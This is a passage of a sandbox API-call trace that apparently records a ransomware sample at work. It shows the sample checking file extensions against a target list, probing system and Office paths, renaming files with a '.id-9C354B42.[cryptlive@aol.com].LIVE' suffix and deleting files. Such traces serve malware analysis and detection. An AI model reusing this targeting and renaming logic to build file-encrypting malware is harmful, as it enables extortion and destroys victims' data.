Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png") returned 96 [0056.532] lstrlenW (lpString=".dbf") returned 4 [0056.532] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0056.534] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png") returned 96 [0056.534] lstrlenW (lpString=".1cd") returned 4 [0056.534] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0056.534] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png") returned 96 [0056.534] lstrlenW (lpString=".jpg") returned 4 [0056.536] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0056.536] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png") returned 96 [0056.536] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png") returned 96 [0056.537] lstrlenW (lpString=".doc") returned 4 [0056.537] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0056.537] lstrlenW (lpString=".docx") returned 5 [0056.537] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0056.537] lstrlenW (lpString=".pdf") returned 4 [0056.537] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0056.537] lstrlenW (lpString=".xls") returned 4 [0056.537] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0056.537] lstrlenW (lpString=".xlsx") returned 5 [0056.537] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0056.537] lstrlenW (lpString=".ppt") returned 4 [0056.537] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0056.537] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png") returned 96 [0056.537] lstrlenW (lpString=".zip") returned 4 [0056.538] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0056.538] lstrlenW (lpString=".rar") returned 4 [0056.538] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0056.538] lstrlenW (lpString=".bz2") returned 4 [0056.538] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0056.538] lstrlenW (lpString=".7z") returned 3 [0056.538] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0056.538] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png") returned 96 [0056.538] lstrlenW (lpString=".dbf") returned 4 [0056.538] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0056.538] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png") returned 96 [0056.538] lstrlenW (lpString=".1cd") returned 4 [0056.538] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0056.538] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png") returned 96 [0056.538] lstrlenW (lpString=".jpg") returned 4 [0056.538] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0056.538] lstrcmpiW (lpString1=".png", lpString2=".LIVE") returned 1 [0056.538] lstrlenW (lpString="scenesscroll.png") returned 16 [0056.538] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\scenesscroll.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0056.539] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=96025) returned 1 [0056.539] CloseHandle (hObject=0x210) returned 1 [0056.539] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\scenesscroll.png")) returned 0x20 [0056.539] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\scenesscroll.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0056.539] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\scenesscroll.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.539] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png") returned 76 [0056.539] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png") returned 76 [0056.539] lstrlenW (lpString=".doc") returned 4 [0056.539] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0056.539] lstrlenW (lpString=".docx") returned 5 [0056.539] lstrcmpiW (lpString1=".docx", lpString2="l.png") returned -1 [0056.539] lstrlenW (lpString=".pdf") returned 4 [0056.539] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0056.539] lstrlenW (lpString=".xls") returned 4 [0056.539] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0056.539] lstrlenW (lpString=".xlsx") returned 5 [0056.539] lstrcmpiW (lpString1=".xlsx", lpString2="l.png") returned -1 [0056.539] lstrlenW (lpString=".ppt") returned 4 [0056.539] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0056.539] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png") returned 76 [0056.539] lstrlenW (lpString=".zip") returned 4 [0056.539] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0056.539] lstrlenW (lpString=".rar") returned 4 [0056.539] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0056.539] lstrlenW (lpString=".bz2") returned 4 [0056.540] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0056.540] lstrlenW (lpString=".7z") returned 3 [0056.540] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0056.540] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png") returned 76 [0056.540] lstrlenW (lpString=".dbf") returned 4 [0056.540] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0056.540] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png") returned 76 [0056.540] lstrlenW (lpString=".1cd") returned 4 [0056.540] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0056.540] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png") returned 76 [0056.540] lstrlenW (lpString=".jpg") returned 4 [0056.540] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0056.546] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png") returned 76 [0056.546] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png") returned 76 [0056.546] lstrlenW (lpString=".doc") returned 4 [0056.546] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0056.546] lstrlenW (lpString=".docx") returned 5 [0056.546] lstrcmpiW (lpString1=".docx", lpString2="l.png") returned -1 [0056.546] lstrlenW (lpString=".pdf") returned 4 [0056.546] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0056.546] lstrlenW (lpString=".xls") returned 4 [0056.546] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0056.546] lstrlenW (lpString=".xlsx") returned 5 [0056.546] lstrcmpiW (lpString1=".xlsx", lpString2="l.png") returned -1 [0056.546] lstrlenW (lpString=".ppt") returned 4 [0056.546] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0056.546] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png") returned 76 [0056.546] lstrlenW (lpString=".zip") returned 4 [0056.547] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0056.547] lstrlenW (lpString=".rar") returned 4 [0056.547] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0056.547] lstrlenW (lpString=".bz2") returned 4 [0056.547] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0056.547] lstrlenW (lpString=".7z") returned 3 [0056.547] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0056.547] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png") returned 76 [0056.547] lstrlenW (lpString=".dbf") returned 4 [0056.547] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0056.547] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png") returned 76 [0056.547] lstrlenW (lpString=".1cd") returned 4 [0056.547] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0056.547] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png") returned 76 [0056.547] lstrlenW (lpString=".jpg") returned 4 [0056.547] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0056.547] lstrcmpiW (lpString1=".png", lpString2=".LIVE") returned 1 [0056.547] lstrlenW (lpString="specialmainsubpicture.png") returned 25 [0056.547] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialmainsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0056.547] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=2864) returned 1 [0056.547] CloseHandle (hObject=0x218) returned 1 [0056.548] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialmainsubpicture.png")) returned 0x20 [0056.548] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialmainsubpicture.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0056.548] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialmainsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.548] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png") returned 85 [0056.548] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png") returned 85 [0056.548] lstrlenW (lpString=".doc") returned 4 [0056.548] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0056.548] lstrlenW (lpString=".docx") returned 5 [0056.548] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0056.548] lstrlenW (lpString=".pdf") returned 4 [0056.548] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0056.548] lstrlenW (lpString=".xls") returned 4 [0056.548] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0056.548] lstrlenW (lpString=".xlsx") returned 5 [0056.548] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0056.548] lstrlenW (lpString=".ppt") returned 4 [0056.548] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0056.548] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png") returned 85 [0056.548] lstrlenW (lpString=".zip") returned 4 [0056.548] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0056.548] lstrlenW (lpString=".rar") returned 4 [0056.548] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0056.548] lstrlenW (lpString=".bz2") returned 4 [0056.548] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0056.548] lstrlenW (lpString=".7z") returned 3 [0056.548] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0056.548] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png") returned 85 [0056.548] lstrlenW (lpString=".dbf") returned 4 [0056.548] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0059.797] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl")) returned 1 [0059.804] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif")) returned 1 [0059.808] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif")) returned 1 [0059.812] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif")) returned 1 [0059.817] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif")) returned 1 [0059.821] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif")) returned 1 [0059.827] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif")) returned 1 [0059.832] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif")) returned 1 Thread: id = 10 os_tid = 0x7f8 [0036.207] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10000) returned 0x5c05a0 [0036.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10000) returned 0x5d05a8 [0036.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x570558 [0036.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6) returned 0x55a4d8 [0036.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x570570 [0036.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100000) returned 0x34e0020 [0036.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x570588 [0036.208] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x570588, Size=0x20) returned 0x555dc8 [0036.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x570588 [0036.208] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x570588, Size=0x20) returned 0x555df0 [0036.209] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0036.209] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0036.209] Wow64DisableWow64FsRedirection (in: OldValue=0x2b8ff58 | out: OldValue=0x2b8ff58*=0x0) returned 1 [0036.209] lstrlenW (lpString="kernel32.dll") returned 12 [0036.209] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555dc8 | out: hHeap=0x520000) returned 1 [0036.209] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0036.209] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555df0 | out: hHeap=0x520000) returned 1 [0036.209] Sleep (dwMilliseconds=0x64) [0036.337] Sleep (dwMilliseconds=0x64) [0036.824] Sleep (dwMilliseconds=0x64) [0036.947] lstrlenW (lpString="BCD") returned 3 [0036.947] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.947] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0036.947] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0036.947] lstrlenW (lpString=".doc") returned 4 [0036.947] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0036.947] lstrlenW (lpString=".docx") returned 5 [0036.947] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0036.947] lstrlenW (lpString=".pdf") returned 4 [0036.947] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0036.947] lstrlenW (lpString=".xls") returned 4 [0036.947] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0036.948] lstrlenW (lpString=".xlsx") returned 5 [0036.948] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0036.948] lstrlenW (lpString=".ppt") returned 4 [0036.948] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0036.948] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0036.948] lstrlenW (lpString=".zip") returned 4 [0036.948] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0036.948] lstrlenW (lpString=".rar") returned 4 [0036.948] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0036.948] lstrlenW (lpString=".bz2") returned 4 [0036.948] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0036.948] lstrlenW (lpString=".7z") returned 3 [0036.948] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0036.948] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0036.948] lstrlenW (lpString=".dbf") returned 4 [0036.948] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0036.948] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0036.948] lstrlenW (lpString=".1cd") returned 4 [0036.948] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0036.948] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0036.948] lstrlenW (lpString=".jpg") returned 4 [0036.948] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0036.948] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0036.948] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0036.948] lstrlenW (lpString=".doc") returned 4 [0036.948] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0036.948] lstrlenW (lpString=".docx") returned 5 [0036.948] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0036.948] lstrlenW (lpString=".pdf") returned 4 [0036.948] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0036.948] lstrlenW (lpString=".xls") returned 4 [0036.948] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0036.948] lstrlenW (lpString=".xlsx") returned 5 [0036.948] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0036.948] lstrlenW (lpString=".ppt") returned 4 [0036.948] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0036.949] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0036.949] lstrlenW (lpString=".zip") returned 4 [0036.949] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0036.949] lstrlenW (lpString=".rar") returned 4 [0036.949] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0036.949] lstrlenW (lpString=".bz2") returned 4 [0036.949] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0036.949] lstrlenW (lpString=".7z") returned 3 [0036.949] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0036.949] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0036.949] lstrlenW (lpString=".dbf") returned 4 [0036.949] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0036.949] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0036.949] lstrlenW (lpString=".1cd") returned 4 [0036.949] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0036.949] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0036.949] lstrlenW (lpString=".jpg") returned 4 [0036.949] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0036.949] lstrcmpiW (lpString1=".LOG1", lpString2=".LIVE") returned 1 [0036.949] lstrlenW (lpString="BCD.LOG1") returned 8 [0036.949] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0037.106] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=0) returned 1 [0037.106] CloseHandle (hObject=0x16c) returned 1 [0037.106] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0037.106] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0037.106] lstrlenW (lpString=".doc") returned 4 [0037.106] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0037.106] lstrlenW (lpString=".docx") returned 5 [0037.106] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0037.106] lstrlenW (lpString=".pdf") returned 4 [0037.106] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0037.106] lstrlenW (lpString=".xls") returned 4 [0037.106] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0037.106] lstrlenW (lpString=".xlsx") returned 5 [0037.106] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0037.106] lstrlenW (lpString=".ppt") returned 4 [0037.106] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0037.107] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0037.107] lstrlenW (lpString=".zip") returned 4 [0037.107] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0037.107] lstrlenW (lpString=".rar") returned 4 [0037.107] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0037.107] lstrlenW (lpString=".bz2") returned 4 [0037.107] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0037.107] lstrlenW (lpString=".7z") returned 3 [0037.107] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0037.107] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0037.107] lstrlenW (lpString=".dbf") returned 4 [0037.107] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0037.107] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0037.107] lstrlenW (lpString=".1cd") returned 4 [0037.107] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0037.107] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0037.107] lstrlenW (lpString=".jpg") returned 4 [0037.107] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0037.107] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0037.107] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0037.107] lstrlenW (lpString=".doc") returned 4 [0037.107] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0037.107] lstrlenW (lpString=".docx") returned 5 [0037.107] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0037.107] lstrlenW (lpString=".pdf") returned 4 [0037.107] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0037.107] lstrlenW (lpString=".xls") returned 4 [0037.107] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0037.107] lstrlenW (lpString=".xlsx") returned 5 [0037.107] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0037.107] lstrlenW (lpString=".ppt") returned 4 [0037.107] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0037.108] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0037.108] lstrlenW (lpString=".zip") returned 4 [0037.108] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0037.108] lstrlenW (lpString=".rar") returned 4 [0037.108] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0037.108] lstrlenW (lpString=".bz2") returned 4 [0037.108] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0037.108] lstrlenW (lpString=".7z") returned 3 [0037.108] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0037.108] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0037.108] lstrlenW (lpString=".dbf") returned 4 [0037.108] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0037.108] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0037.108] lstrlenW (lpString=".1cd") returned 4 [0037.108] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0037.108] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0037.108] lstrlenW (lpString=".jpg") returned 4 [0037.108] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0037.108] Sleep (dwMilliseconds=0x64) [0037.324] lstrcmpiW (lpString1=".msi", lpString2=".LIVE") returned 1 [0037.324] lstrlenW (lpString="ExcelMUI.msi") returned 12 [0037.325] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0037.508] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=2506240) returned 1 [0037.508] CloseHandle (hObject=0x15c) returned 1 [0037.508] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi")) returned 0x2020 [0037.508] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0037.508] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[cryptlive@aol.com].live")) returned 1 [0037.718] CreateFileW (lpFileName="C:\\MSOCache\\All 